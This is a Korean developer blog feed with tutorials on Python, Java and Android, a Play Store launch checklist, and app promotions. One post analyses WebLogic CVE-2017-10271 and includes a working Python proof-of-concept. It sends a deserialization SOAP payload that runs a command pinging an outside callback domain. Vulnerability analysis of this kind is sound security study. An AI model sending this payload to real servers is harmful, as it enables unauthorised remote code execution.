2026/05/03

오늘의 이야기

AI 생성 이미지



 


1️⃣ 글 제목


- 🐍 Python | Raspberry Pi에서 오픈소스 LLM으로 뉴스 요약기 만들기 ---


2️⃣ 개요 (Intro)


- 오늘은 라즈베리 파이에서 오픈소스 LLM을 활용해 웹 뉴스 요약기를 만드는 프로젝트를 구상했다. - 주요 목표는 Daum 포털에서 뉴스 데이터를 수집하고, 경량 LLM을 통해 300자 이내로 요약하는 기능을 구현하는 것. - 사용한 기술 스택은 Python, BeautifulSoup, Hugging Face Transformers, Phi-3 Mini 모델.


📅 날짜: 2025.11.05 🎯 목표: Raspberry Pi에서 뉴스 요약기 구상 🧰 기술: Python, Hugging Face, BeautifulSoup, Phi-3 Mini

---


3️⃣ 문제 정의 (Problem / Motivation)


- 라즈베리 파이처럼 리소스가 제한된 환경에서 LLM을 실행하려면 경량화된 모델이 필요하다. - 웹에서 뉴스 데이터를 자동으로 수집하고, 이를 요약하는 기능을 구현하려면 크롤링과 자연어 처리 기술이 결합되어야 한다. - Daum 포털의 HTML 구조를 분석해 주요 뉴스 텍스트를 추출하는 방식으로 접근했다.



# Daum 뉴스 헤드라인 수집 예시
soup.select("a.link_txt")

---


4️⃣ 해결 과정 (How I Solved It)


- Hugging Face에서 제공하는 Phi-3 Mini 모델을 선택해 Python 코드로 불러오는 방식으로 구성했다. - BeautifulSoup을 활용해 Daum 메인 페이지에서 주요 뉴스 텍스트를 추출하고, 이를 LLM에 입력해 요약 결과를 생성했다. - 전체 흐름은 뉴스 수집 → 요약 요청 → 결과 출력으로 구성되며, 추후 Streamlit을 통해 UI도 확장 가능하다.



# 요약 처리 예시
def summarize_text(text):
prompt = f"다음 내용을 300자 이내로 요약해줘:\n{text}"
inputs = tokenizer(prompt, return_tensors="pt")
outputs = model.generate(**inputs, max_new_tokens=100)
return tokenizer.decode(outputs[0], skip_special_tokens=True)

---


5️⃣ 결과 (Result)


- 뉴스 헤드라인을 수집하고, LLM을 통해 간결한 요약 결과를 생성하는 데 성공했다. - 라즈베리 파이에서도 실행 가능한 경량 모델을 활용함으로써 저전력 환경에서도 AI 기능을 구현할 수 있다는 가능성을 확인했다.


✅ Daum 뉴스 요약 기능 구현 성공 📉 리소스 사용량 최소화, 실행 속도 안정적

---


6️⃣ 느낀 점 / 회고 (Reflection)


- 오픈소스 LLM의 발전 덕분에 소형 디바이스에서도 자연어 처리 기능을 구현할 수 있다는 점이 인상 깊었다. - 다음에는 Streamlit을 활용해 웹 UI를 추가하고, 요약 결과를 저장하거나 공유할 수 있는 기능을 확장해보고 싶다. - 또한 뉴스 외에도 블로그, 기술 문서 등 다양한 텍스트에 적용해보는 실험도 흥미로울 것 같다. ---


7️⃣ 참고자료 (References)


- [Hugging Face - Phi-3 Mini 모델](https://huggingface.co/microsoft/phi-3-mini) - [BeautifulSoup 공식 문서](https://www.crummy.com/software/BeautifulSoup/bs4/doc/) - [Daum 포털](https://www.daum.net) - [Open Source LLMs in 2025 - GeeksForGeeks](https://www.geeksforgeeks.org/artificial-intelligence/top-10-open-source-llms-in-2025) ---





오늘의 이야기

 


 


🐍 Python | PC에 흩어진 .whl 파일, 한 곳으로 모으는 자동화 스크립트 개발기


AI가 그려준 이미지



 


📅 개요 (Intro)



  • 날짜: 2025.10.26

  • 목표: 여러 프로젝트와 폴더에 흩어져 있는 .whl(휠) 파일들을 하나의 지정된 폴더로 모아주는 Python 스크립트를 개발하여 라이브러리 관리를 효율화한다.

  • 기술: Python, os 모듈, shutil 모듈


🧐 문제 정의 (Problem / Motivation)


Python으로 여러 프로젝트를 진행하다 보니 가상 환경(venv), 다운로드 폴더 등 PC 곳곳에 .whl 파일들이 쌓이기 시작했습니다. 특정 라이브러리의 구버전이 필요하거나 오프라인 환경에서 설치해야 할 때, 이 파일들을 찾아 헤매는 일이 잦아졌습니다.


수동으로 *.whl을 검색해서 일일이 옮기는 것은 너무 번거롭고, 실수로 중요한 파일을 누락할 위험도 있었습니다. 이 반복적인 정리 작업을 자동화할 필요성을 느끼게 되었습니다.


🛠️ 해결 과정 (How I Solved It)


이 문제를 해결하기 위해 Python의 내장 라이브러리만을 사용하여 간단한 스크립트를 작성하기로 했습니다.


1. 파일 시스템 순회 및 .whl 파일 검색


가장 먼저 PC의 특정 드라이브(예: C:\)부터 시작해 모든 하위 폴더를 탐색해야 했습니다. Python의 os 모듈에 포함된 os.walk() 함수가 이 작업에 안성맞춤이었습니다. 이 함수는 지정된 경로의 모든 폴더와 파일을 순회하는 제너레이터(generator)를 반환해 줍니다.


파일을 찾은 후에는 문자열의 .endswith(".whl") 메서드를 이용해 확장자가 .whl인 파일만 골라 리스트에 추가했습니다.


import os

def find_whl_files(start_path):
"""지정된 경로와 그 하위 디렉토리에서 .whl 파일을 찾습니다."""
whl_files = []
for root, dirs, files in os.walk(start_path):
for file in files:
if file.endswith(".whl"):
whl_files.append(os.path.join(root, file))
return whl_files

2. 찾은 파일들을 지정된 폴더로 이동


파일 검색이 완료되면, 이제 이 파일들을 한 곳으로 옮겨야 합니다. 파일 이동, 복사, 삭제 등 파일 시스템 관련 고급 작업을 처리하는 shutil 모듈의 shutil.move() 함수를 사용했습니다.


혹시 모를 오류(권한 문제 등)에 대비해 try-except 구문으로 각 파일 이동 작업을 감싸 안정성을 높였습니다.


import shutil

# 파일을 옮길 목적지 폴더
destination_folder = r'C:\Users\nari4\downloads'

# 목적지 폴더가 없으면 생성
if not os.path.exists(destination_folder):
os.makedirs(destination_folder)

# 찾은 파일 리스트(all_whl_files)를 순회하며 이동
for file_path in all_whl_files:
try:
shutil.move(file_path, destination_folder)
print(f"이동 완료: {file_path}")
except Exception as e:
print(f"'{file_path}' 이동 중 오류 발생: {e}")

✨ 결과 (Result)


스크립트를 실행하자 PC에 흩어져 있던 모든 .whl 파일들이 제가 지정한 C:\Users\nari4\downloads 폴더로 깔끔하게 정리되었습니다.


개선된 점:



  • 이제 필요한 .whl 파일이 있다면 지정된 폴더만 확인하면 되므로 라이브러리 관리가 매우 편해졌습니다.

  • 불필요한 파일을 찾아 헤매거나 중복으로 다운로드하는 시간이 사라졌습니다.

  • 단순 반복 작업을 자동화하여 생산성이 향상되었습니다.


실행 결과 예시:


C:\ 드라이브에서 .whl 파일을 검색합니다...

[찾은 .whl 파일 목록]
C:\projectA\venv\downloads\some_package-1.0-py3-none-any.whl
C:\Users\nari4\Downloads\another_package-2.1-cp39-cp39-win_amd64.whl

[총 2개의 .whl 파일을 'C:\Users\nari4\downloads'로 이동합니다]
이동 완료: C:\projectA\venv\downloads\some_package-1.0-py3-none-any.whl
이동 완료: C:\Users\nari4\Downloads\another_package-2.1-cp39-cp39-win_amd64.whl

파일 이동이 완료되었습니다.

📝 느낀 점 / 회고 (Reflection)



  • 교훈: 역시 "반복적인 작업이 있다면 자동화를 고민하라"는 말이 정답이었습니다. 잠시 시간을 투자해 만든 스크립트 덕분에 앞으로의 개발 환경이 훨씬 쾌적해졌습니다.

  • 기술: os.walk()shutil.move()라는 Python의 기본적이면서도 강력한 도구의 활용법을 다시 한번 되새길 수 있었습니다.

  • 다음 목표: 이 스크립트를 좀 더 발전시켜보고 싶습니다. 예를 들어, 이동 전에 파일명이 중복되는 경우 사용자에게 덮어쓸지 물어보는 옵션을 추가하거나, 오래된 버전의 .whl 파일을 식별하여 따로 분류하는 기능을 구현해 볼 계획입니다.


📚 참고자료 (References)



  • Python os 모듈 공식 문서

  • Python shutil 모듈 공식 문서





오늘의 이야기


#스하리1000명프로젝트,
有时候和外劳说话很难,对吧?
我制作了一个简单的应用程序,可以帮助您!你用你的语言写作,其他人用他们的语言看到它。
它根据设置自动翻译。
超级方便,可以轻松聊天。有机会就来看看吧!
https://play.google.com/store/apps/details?id=com.billcoreatech.multichat416




오늘의 이야기

 



Oracle WebLogic Server CVE-2017-10271 취약점 분석 및 테스트


웹취약점 강조이미지



 



1. 취약점 개요


CVE-2017-10271은 WebLogic의 WSAT 컴포넌트에서 발생한 역직렬화 취약점으로, SOAP 요청을 통해 원격 코드 실행이 가능한 심각한 보안 이슈입니다.



  • 공개일: 2017년 10월

  • CVSS 점수: 7.5 (High)

  • 영향 버전: WebLogic 10.3.6 이하, 12.1.3 이하 등




2. Python으로 취약점 검증하기


외부 코드를 반입하지 않고 SOAP 요청을 직접 구성하여 WebLogic 서버에 테스트할 수 있습니다.


import requests

target_url = "http://<TARGET_IP>:<PORT>/wls-wsat/CoordinatorPortType"

payload = """<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>cmd</string></void>
<void index="1"><string>/c</string></void>
<void index="2"><string>ping yourdomain.ceye.io</string></void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
"""

headers = { "Content-Type": "text/xml" }

response = requests.post(target_url, data=payload, headers=headers)
print("Status Code:", response.status_code)
print("Response:", response.text)


 


 



대응방안도 연구해 봐야할 것 같습니다. 


 





오늘의 이야기


#billcorea #운동동아리관리앱
🏸 Schneedle,羽毛球俱乐部必备应用!
👉 比洞赛 – 记录分数并寻找对手 🎉
适合任何地方,独自一人、与朋友一起或在俱乐部! 🤝
如果你喜欢羽毛球,一定要尝试一下

前往应用程序👉 https://play.google.com/store/apps/details?id=com.billcorea.matchplay




오늘의 이야기

 



Java 로컬 파일 처리, 문자열 검색, 간이 DB 활용 정리


java 활용 이미지



 


1. Java 1.8에서 java.nio.file 사용



  • Files, Path, DirectoryStream 등 모두 사용 가능

  • 파일 탐색, 필터링, 감시 기능까지 구현 가능


예시: .log 파일 필터링


try (Stream<Path> stream = Files.walk(Paths.get("sample"))) {
stream
.filter(Files::isRegularFile)
.filter(p -> p.toString().endsWith(".log"))
.forEach(System.out::println);
}

2. 파일 내용 읽기


private static void readFileContent(Path path) {
List<String> lines = Files.readAllLines(path, StandardCharsets.UTF_8);
for (String line : lines) {
System.out.println(line);
}
}

3. 문자열 검색 및 처리


문자열에 특정 단어 포함 여부 확인


String text = "오늘은 날씨가 좋다";
if (text.contains("날씨")) {
System.out.println("포함됨");
}

문자열 배열에서 특정 단어 포함 여부


String[] keywords = {"error", "fail", "exception"};
String line = "This line contains an exception.";

for (String keyword : keywords) {
if (line.contains(keyword)) {
System.out.println("포함된 키워드: " + keyword);
}
}

원화 기호(₩)로 문자열 분리


String text = "apple₩banana₩cherry";
String[] parts = text.split("₩");

파일 이름에서 확장자 제거


String fileName = path.getFileName().toString();
int dotIndex = fileName.lastIndexOf(".");
String nameWithoutExtension = (dotIndex > 0) ? fileName.substring(0, dotIndex) : fileName;

경로에서 특정 위치의 디렉토리 추출


Path path = Paths.get("/home/kang/documents/report.txt");
System.out.println(path.getName(1)); // "kang"

4. Java에서 사용할 수 있는 로컬 간이 DB






























DB 종류 설명 저장 방식
SQLite 가장 널리 쓰이는 경량 DB .db 파일
H2 Java 전용, 메모리 또는 파일 기반 .mv.db 또는 메모리
Derby Oracle이 만든 Java 내장형 DB 디렉토리 기반
MapDB Java 객체 기반 저장소 .db 파일

5. SQLite 사용법


Connection conn = DriverManager.getConnection("jdbc:sqlite:mydata.db");
Statement stmt = conn.createStatement();
stmt.execute("CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY, name TEXT)");
stmt.execute("INSERT INTO users (name) VALUES ('Kang')");
ResultSet rs = stmt.executeQuery("SELECT * FROM users");

필요한 JAR 파일



  • SQLite: sqlite-jdbc-3.43.2.0.jar


6. H2 사용법


Connection conn = DriverManager.getConnection("jdbc:h2:./testdb", "sa", "");
Statement stmt = conn.createStatement();
stmt.execute("CREATE TABLE IF NOT EXISTS users (id INT PRIMARY KEY, name VARCHAR(255))");

필요한 JAR 파일



  • H2: h2-2.2.224.jar (직접 실행하거나 Maven으로 자동 포함 가능)


이 글은 Java로 로컬 파일을 다루고, 문자열을 분석하고, 간단한 데이터베이스를 활용하는 방법을 정리한 내용입니다. 테스트용 앱이나 로그 분석, 간단한 GUI 앱에도 활용할 수 있어요!





오늘의 이야기

viewmodel



 





🧠 Android | ViewModel에서 StateFlow로 상태 관리하기


개요 (Intro)

오늘은 기존에 사용하던 LiveData 대신 StateFlow를 이용해 UI 상태를 더 명확하고 안정적으로 관리하는 방법을 실험해봤습니다.


📅 날짜: 2025.10.30
🎯 목표: ViewModel에서 StateFlow로 UI 상태 관리하기
🧰 기술: Kotlin, Jetpack Compose, Hilt, StateFlow, ViewModel

 




문제 정의 (Problem / Motivation)

앱에서 LiveData를 사용할 때, 다음과 같은 문제가 있었습니다:



  • 화면 회전 시 상태가 재구성되지 않거나 중복 업데이트 발생

  • MutableLiveData의 비동기 처리 시점 불일치

  • Compose 환경에서 Flow 변환을 반복적으로 수행해야 하는 번거로움


이 문제를 해결하기 위해 StateFlow 기반의 단방향 데이터 스트림 (Unidirectional Flow) 패턴을 적용해보기로 했습니다.


@HiltViewModel
class MainViewModel @Inject constructor() : ViewModel() {

private val _uiState = MutableStateFlow("초기 상태")
val uiState: StateFlow<String> = _uiState.asStateFlow()

fun updateMessage(newMessage: String) {
_uiState.value = newMessage
}
}

@Composable
fun MainScreen(viewModel: MainViewModel = hiltViewModel()) {
val message by viewModel.uiState.collectAsState()

Column(
modifier = Modifier.fillMaxSize().padding(16.dp),
verticalArrangement = Arrangement.Center,
horizontalAlignment = Alignment.CenterHorizontally
) {
Text(text = message)
Spacer(modifier = Modifier.height(12.dp))
Button(onClick = { viewModel.updateMessage("StateFlow 업데이트 완료!") }) {
Text("업데이트")
}
}
}



결과 (Result)

✅ ViewModel의 상태가 Compose UI와 실시간으로 안정적으로 동기화됨
🚀 화면 회전, 재구성 시에도 데이터 손실 없이 유지
📱 코드 간결성 증가 및 비동기 처리 예측 가능성 향상



느낀 점 / 회고 (Reflection)


  • LiveData보다 StateFlow가 Compose 환경과 훨씬 궁합이 좋음을 체감했습니다.

  • Flow 기반 전환으로 테스트 코드 작성 및 재구성 관리가 간편해졌습니다.

  • 앞으로는 모든 ViewModel 상태 관리를 StateFlow + UIState sealed class 형태로 전환할 예정입니다.




참고자료 (References)





✅ 요약하자면?


StateFlow는 LiveData보다 예측 가능하고 Compose 친화적입니다.
UI 상태 동기화 문제를 간단히 해결할 수 있으며, 구조적 안정성이 향상됩니다.
다음 단계로는 sealed class UIState 패턴과 결합해볼 예정입니다.


📊 피드백 그래프



























 





오늘의 이야기


#스하리1000명프로젝트,
迷失在韩国?即使您不会说韩语,这个应用程序也可以帮助您轻松出行。
只需说出您的语言即可 - 它会翻译、搜索并以您的语言显示结果。
非常适合旅行者!支持英语、日语、中文、越南语等10多种语言。
现在就试试吧!
https://play.google.com/store/apps/details?id=com.billcoreatech.opdgang1127




2026/05/02

오늘의 이야기

6장. 배포 준비와 스토어 론칭


 


이 장의 목표는 “출시가 기본값”이 되도록, 빌드–정책–스토어 자산–가격 전략을 한 번에 정리해 실제 배포까지 밀어붙이는 것입니다. 1인 개발/스타트업 환경에서 흔히 지연되는 단계들을 체크리스트로 잠그겠습니다.


출시 전 핵심 의사결정



  • 패키지명과 앱 ID 고정: 이제부터 변경 금지(업데이트 연속성 확보).

  • 버전 정책: 코드 자동 증가, 마이너는 주 단위, 패치는 버그 단위로 문서화.

  • 수익 모델 1안(권장): 무료 + 1회 프로 업그레이드(간단·유지보수 용이).

  • 수익 모델 2안: 구독(7일 체험 + 저가 월 구독). 콘텐츠·가치가 주기적일 때만 선택.

  • 지역 가격: 원화 기준 앵커 가격 설정 후 주요 지역 자동 환산 사용.


정책·개인정보·권한 정비



  • 권한 설명 문구를 앱 내에서 “왜 필요한지 + 언제 쓰는지”로 짧게 노출하세요.

    • 예: “운동 중 랩 기록을 정확히 측정하기 위해 센서 접근이 필요합니다.”



  • 개인정보 처리방침 URL 준비(간단해도 필수): 수집 항목, 보관 기간, 제3자 제공 없음 명시.

  • 데이터 안전 양식: 센서·진동·알림 사용 목적을 정직하게 체크. 광고/추적 SDK가 없으면 명확히 ‘없음’ 표시.

  • 위험 권한 최소화: 초판에서는 위치 등 민감 권한을 피하고 대체 흐름(수동 입력 등)을 제공하세요.


빌드·서명·릴리즈 설정



  • Play App Signing 활성화(권장): 서명 키 분실 리스크 제거.

  • 빌드 산출물: AAB 릴리즈 빌드, 난독화 활성화 + 매핑 파일 보관.

  • 릴리즈 프로필: 릴리즈 전용 플래그(로그 레벨, 디버그 옵션 OFF) 재확인.

  • 크래시/로그: 최소한의 익명 이벤트 측정(설치, 첫 실행, 핵심 행동 1개)만 남기고 과도한 로깅 제거.


테스트 트랙 전략(빠르고 안전하게)



  • 내부 테스트(당일): 본인+지인 5~10명. 설치→핵심 행동 완료까지 5분 이내 확인.

  • 폐쇄 테스트(1~3일): 30~100명. 다양한 기기/버전, 리뷰/피드백 수집.

  • 오픈 베타(선택): 설명·스크린샷 확정 전, 노출 반응 탐색.

  • 프로덕션 론칭: 한국 기준 리뷰 반영까지 수시간~수일. 권한·정책 항목 누락을 가장 먼저 점검하세요.


스토어 자산(워치 앱에 맞춘 구성)



  • 앱 이름: 20자 내외, 주 행동을 동사로 드러내기(예: “랩타임 찍기 – Wear”).

  • 짧은 설명: 80자 안쪽, 결과 중심(“한 번의 탭으로 랩 기록, 배터리 걱정 없이.”).

  • 상세 설명: 첫 문단에 가치–대상–결과, 다음에 핵심 기능 3개(타일/컴플리케이션/알림).

  • 아이콘/그래픽: 단순한 실루엣+고대비. 작은 사이즈에서도 읽히는 심볼.

  • 스크린샷 3~5장: 홈–주 행동–완료–타일–컴플리케이션 순. 텍스트 오버레이는 4~6단어로 짧게.

  • 카테고리/태그: 앱 성격에 맞게 헬스/생산성 등 선택, 검색 키워드는 자연어 문장에 녹여 쓰기.


가격·프로모션 설계



  • 초기 앵커: 출시 첫 주 20% 할인 또는 번들(전자책 독자 전용 코드)로 ‘지금 사야 하는 이유’ 부여.

  • 프로모 코드: 초기 사용자/리뷰어 50개 제공. 피드백과 교환하는 방식으로 운영.

  • 팀/기업용 메시지: “팀 라이선스/대량 구매 문의” 문구를 상세 설명 하단에 추가(스타트업 B2B 기회).


론칭 체크리스트(출시 당일 기준)



  • 첫 실행 < 2초, 핵심 플로우(시작→진행→정지) 3탭 이내.

  • 배터리 기준선 대비 악화 없음(30분 테스트).

  • 권한 요청은 “필요 순간”에만 등장, 거부 시 대체 경로 정상 작동.

  • 타일/컴플리케이션/알림 상태 일관성 확인.

  • 크래시 0, 경고 로그 없음(릴리즈 빌드).

  • 스토어 자산 오탈자/이미지 절단 없음.


심사/리젝 흔한 사유와 대응



  • 권한 과다/설명 부족: 권한 목적 문구를 보완하고 대체 흐름을 명시해 재제출.

  • 데이터 안전 불일치: 실제 수집 항목과 양식을 일치시켜 수정.

  • 자산 규격 문제: 스크린샷 테두리/텍스트 과다로 가독성 떨어질 때 간소화.


D-7 ~ D+7 운영 타임라인



  • D-7: 랜딩/설명/스크린샷 초안 완성, 내부 테스트 시작.

  • D-3: 폐쇄 테스트, 첫 20명 피드백 반영, 가격/프로모 확정.

  • D-1: 릴리즈 빌드 고정, 자산 최종 점검, 소셜/블로그 예약 게시.

  • D-day: 프로덕션 론칭, 첫 사용자 응대(리뷰·메일 24시간 내 답변).

  • D+3: 버그 핫픽스 1회, 스토어 설명 개선(자주 묻는 질문 반영).

  • D+7: 초기 지표 점검(설치→첫 행동 전환, D1/D7 리텐션), 다음 업데이트 계획 공지.


스토어 설명 템플릿(바로 붙여 쓰는 초안)



  • 첫 문장: “손목에서 한 번의 탭으로 [핵심 결과]를 완료하세요. 30일 플랜으로 설계된 가벼운 Wear OS 앱입니다.”

  • 핵심 기능: “타일 즉시 실행, 컴플리케이션 한눈 정보, 진행형 알림 액션”

  • 가치 문장: “작은 화면에 꼭 필요한 기능만 담아 빠르고 오래 갑니다.”

  • 신뢰 요소: “배터리 절감 설계, 3탭 이내 핵심 플로우, 오프라인 동작”

  • 콜투액션: “지금 설치하고 첫 [행동]을 시작하세요.”


실전 팁



  • 리뷰 요청 타이밍: 두 번째 성공 경험 직후(한 번의 탭으로 랩 기록 성공 등) 짧게 한 번만.

  • 문의 채널: 스토어 이메일 외, 간단한 피드백 폼 링크를 설명 하단에 추가하면 응답률이 높습니다.

  • A/B: 표지 썸네일/짧은 설명 2안으로 반응이 좋은 문구를 1주일 주기로 바꿔보세요.


요약 포인트



  • 정책·권한·데이터 안전을 먼저 잠그면 심사 지연이 크게 줄어듭니다.

  • 스토어 자산은 “주 행동의 결과”를 한눈에 보여야 전환이 오릅니다.

  • 단순한 수익 모델과 명확한 프로모션이 초기 구매를 만듭니다.


오늘의 수행 미션



  • 개인정보 처리방침 간이 문서와 권한 안내 문구 작성.

  • 릴리즈 빌드 고정(난독화/로그 레벨 확인) + 내부 테스트 배포.

  • 스토어 설명 3문단과 스크린샷 3장 초안 완성.

  • 가격과 프로모 코드 정책 확정(출시 첫 주 혜택 포함).


 


앱 이미지



 





오늘의 이야기

 


 


 


Jetpack Compose 광고 페이지 개발 및 성능 개선기


앱 아이디



 


오늘은 기존 습관 기록 앱에 쿠팡 파트너스 API를 연동하여 광고 상품을 보여주는 페이지를 개발하고, 사용자 경험을 개선하기 위해 이미지 로딩 성능을 최적화하는 과정을 거쳤습니다. 이 글에서는 전체 개발 과정과 마주쳤던 문제들, 그리고 해결 방법을 공유합니다.


1. ViewModel 상태 관리 및 API 연동


가장 먼저, API 통신 결과를 UI에 효과적으로 전달하기 위해 ViewModel에서 상태 관리를 구현했습니다. API 요청 상태를 Loading, Success, Error로 나누어 관리하는 AdProductState Sealed Interface를 정의하고, 이를 StateFlow로 UI에 노출시켰습니다.


// MainViewModel.kt

sealed interface AdProductState {
object Loading : AdProductState
data class Success(val products: List<BestProduct>) : AdProductState
data class Error(val message: String) : AdProductState
}

@HiltViewModel
class MainViewModel @Inject constructor(...) : ViewModel() {

private val _adProductState = MutableStateFlow<AdProductState>(AdProductState.Loading)
val adProductState = _adProductState.asStateFlow()

fun fetchCupangData(context: Context) {
viewModelScope.launch {
_adProductState.value = AdProductState.Loading
try {
// ... API 호출 로직 ...
val response = CupangClient.getClient().getBestCategories(...)

if (response.data != null) {
_adProductState.value = AdProductState.Success(response.data)
// 성능 개선을 위한 이미지 프리로딩 호출
preloadImages(context, response.data)
} else {
_adProductState.value = AdProductState.Error("No products found")
}
} catch (e: Exception) {
_adProductState.value = AdProductState.Error(e.message ?: "Unknown error")
}
}
}
// ...
}

2. Composable UI 구현: AdProductPage


ViewModel에서 제공하는 adProductState를 구독하여 상태에 따라 다른 UI를 보여주는 Composable 화면을 만들었습니다. LazyColumn을 사용하여 상품 목록을 효율적으로 표시하도록 구성했습니다.


// AdProductPage.kt

@Composable
fun AdProductPage(viewModel: MainViewModel = hiltViewModel()) {
val state = viewModel.adProductState.collectAsState()
when (val currentState = state.value) {
is AdProductState.Loading -> {
Box(modifier = Modifier.fillMaxSize(), contentAlignment = Alignment.Center) {
CircularProgressIndicator()
}
}
is AdProductState.Success -> {
LazyColumn(modifier = Modifier.fillMaxSize()) {
items(currentState.products) { product ->
// 상품 아이템 UI
}
}
}
is AdProductState.Error -> {
Box(modifier = Modifier.fillMaxSize(), contentAlignment = Alignment.Center) {
Text(text = currentState.message)
}
}
}
}

3. 이미지 로딩 성능 개선 과정


단순히 이미지 URL을 Coil에 넘겨주자, 사용자가 스크롤할 때마다 로딩 인디케이터가 보이면서 사용자 경험을 해쳤습니다. 앱 시작 시점에 이미 상품 정보를 모두 가져왔으므로, 광고 페이지에 진입했을 때는 이미지가 즉시 표시되어야 했습니다.


3.1. 1차 개선: 로딩 인디케이터와 플레이스홀더


우선 로딩 중임을 명확히 보여주기 위해 AsyncImage 대신 SubcomposeAsyncImage를 사용하고, loading 파라미터에 CircularProgressIndicator를 설정해주었습니다. 이는 로딩이 길어질 때 사용자에게 피드백을 주기 위한 최소한의 조치였습니다.


// AdProductPage.kt (개선 중)

SubcomposeAsyncImage(
model = ImageRequest.Builder(LocalContext.current)
.data(product.productImage)
.crossfade(true)
.build(),
contentDescription = product.productName,
loading = {
CircularProgressIndicator()
},
modifier = Modifier.size(128.dp)
)

3.2. 2차 개선: 이미지 프리로딩 (Pre-loading)


근본적인 문제를 해결하기 위해, 이미지 프리로딩 기법을 도입했습니다. ViewModel에서 상품 정보 API를 호출한 직후, 응답으로 받은 이미지 URL 목록을 Coil의 캐시에 미리 저장하는 방식입니다.



주의: 처음에는 preloadImages 함수 내에서 ImageLoader(context)로 새로운 이미지 로더 인스턴스를 만드는 실수를 했습니다. 이 경우 프리로딩에 사용된 캐시와 UI에서 사용된 캐시가 달라져 효과가 없었습니다.



애플리케이션 전역에서 사용되는 싱글톤 ImageLoader 인스턴스 (context.imageLoader)를 사용해야 캐시가 공유되어 프리로딩이 정상적으로 동작합니다.


// MainViewModel.kt (최종)

private fun preloadImages(context: Context, products: List<BestProduct>) {
// context.imageLoader를 사용하여 싱글톤 인스턴스에 접근
val imageLoader = context.imageLoader
products.forEach {
val request = ImageRequest.Builder(context)
.data(it.productImage)
// 실제 이미지를 보여줄 필요는 없으므로, 메모리/디스크 캐시에만 저장
.build()
imageLoader.enqueue(request)
}
}

4. 캐시 동작 확인 및 디버깅


프리로딩이 정말 효과가 있는지 확인하기 위해, SubcomposeAsyncImageonSuccess 콜백을 사용하여 이미지 데이터의 출처(dataSource)를 로그로 확인했습니다.


앱을 처음 실행하고 광고 페이지에 접근했을 때는 NETWORK 또는 DISK에서 이미지를 로드했지만, 앱을 다시 시작하거나 다른 화면에 갔다 돌아오면 MEMORY 캐시에서 이미지를 즉시 불러오는 것을 확인할 수 있었습니다.


// AdProductPage.kt (디버깅)

SubcomposeAsyncImage(
model = ...,
contentDescription = ...,
loading = { ... },
onSuccess = { result ->
// 이미지 출처 로그: MEMORY, DISK, NETWORK
Log.d("AdProductPage", "Image loaded from: ${result.result.dataSource}")
},
modifier = Modifier.size(128.dp)
)

5. 기타 문제 해결


개발 과정에서 몇 가지 추가적인 경고와 오류를 해결했습니다.



  • BestProduct 클래스 오류: DTO 클래스명이 Product로 되어 있던 것을 BestProduct로 수정하여 해결했습니다.

  • Coil 의존성: build.gradle.ktsio.coil-kt:coil-compose 의존성을 추가했습니다.

  • OnBackInvokedCallback 경고: Android 13의 예측 뒤로가기 제스처 지원을 위해 AndroidManifest.xmlandroid:enableOnBackInvokedCallback="true" 속성을 추가했습니다.

  • hiltViewModel Deprecation: androidx.hilt.navigation.compose.hiltViewModel 대신 androidx.hilt.lifecycle.viewmodel.compose.hiltViewModel를 사용하도록 import 경로를 수정했습니다.


결론


단순한 기능 구현에서 시작하여, 사용자 경험을 저해하는 성능 문제를 발견하고 이를 개선하는 과정을 통해 많은 것을 배울 수 있었습니다. 특히 이미지 로딩과 같은 비동기 작업을 다룰 때, 캐시 전략과 라이브러리의 동작 원리를 정확히 이해하는 것이 얼마나 중요한지 다시 한번 깨닫게 되었습니다. 이제 사용자는 광고 페이지에 진입했을 때, 지연 없이 상품 이미지를 즉시 확인할 수 있게 되었습니다.





오늘의 이야기


#billcorea #운동동아리관리앱
🏸 Schneedle, um aplicativo obrigatório para clubes de badminton!
👉 Match Play – Grave pontuações e encontre oponentes 🎉
Perfeito para qualquer lugar, sozinho, com amigos ou em um clube! 🤝
Se você gosta de badminton, definitivamente experimente

Acesse o aplicativo 👉 https://play.google.com/store/apps/details?id=com.billcorea.matchplay




오늘의 이야기

AI 생성 이미지   1️⃣ 글 제목 - 🐍 Python | Raspberry Pi에서 오픈소스 LLM으로 뉴스 요약기 만들기 --- 2️⃣ 개요 (Intro) - 오늘은 라즈베리 파이에서 오픈소...